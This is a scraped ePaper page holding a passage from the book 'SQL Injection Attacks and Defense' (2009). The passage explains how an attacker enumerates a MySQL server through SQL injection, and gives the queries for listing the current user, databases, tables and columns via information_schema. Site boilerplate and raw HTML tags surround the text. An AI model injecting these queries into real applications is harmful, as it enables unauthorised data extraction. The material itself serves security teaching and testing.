28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

My<strong>SQL</strong><br />

Exploiting <strong>SQL</strong> <strong>Injection</strong> • Chapter 4 177<br />

Also on My<strong>SQL</strong>, the technique for enumerating a database <strong>and</strong> extracting its data follows a<br />

hierarchical approach: You start extracting the names of the databases, <strong>and</strong> then proceed<br />

down to tables, columns, <strong>and</strong> finally the data itself.<br />

The first thing you are usually interested in is the name of the user performing the<br />

queries. You can retrieve this with one of the following queries:<br />

SELECT user();<br />

SELECT current_user;<br />

To list the databases that are present on the remote My<strong>SQL</strong> installation, you can use the<br />

following query, if you have administrative privileges:<br />

SELECT distinct(db) FROM mysql.db;<br />

If you don’t have administrative privileges, but the remote My<strong>SQL</strong> version is 5.0 or later,<br />

you can still obtain the same information using information_schema, by injecting the following<br />

alternative:<br />

SELECT schema_name FROM information_schema.schemata;<br />

Querying information_schema allows you to enumerate the whole database structure.<br />

Once you have retrieved the databases, <strong>and</strong> you have found one of them that looks particularly<br />

interesting (e.g., customers_db), you can extract its table names with the following query:<br />

SELECT table_schema,table_name FROM information_schema.tables WHERE<br />

table_schema = 'customers_db'<br />

If you prefer to obtain a list of all the tables of all databases, you can simply omit the<br />

WHERE clause, but you might want to modify it as follows:<br />

SELECT table_schema,table_name FROM information_schema.tables WHERE<br />

table_schema != 'mysql' AND table_schema != 'information_schema'<br />

Such a query will retrieve all tables except the ones belonging to mysql <strong>and</strong> information_<br />

schema, two built-in databases whose tables you are probably not interested in. Once you<br />

have the tables it is time to retrieve the columns, again avoiding all entries that belong to<br />

mysql <strong>and</strong> information_schema:<br />

SELECT table_schema, table_name, column_name FROM information_schema.columns<br />

WHERE table_schema != 'mysql' AND table_schema != 'information_schema'<br />

This query will provide you with a comprehensive view of all databases, tables, <strong>and</strong><br />

columns, all packaged in one nice table, as you can see in the following example:<br />

mysql> SELECT table_schema, table_name, column_name FROM<br />

information_schema.columns WHERE table_schema != 'mysql' AND<br />

table_schema != 'information_schema';

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!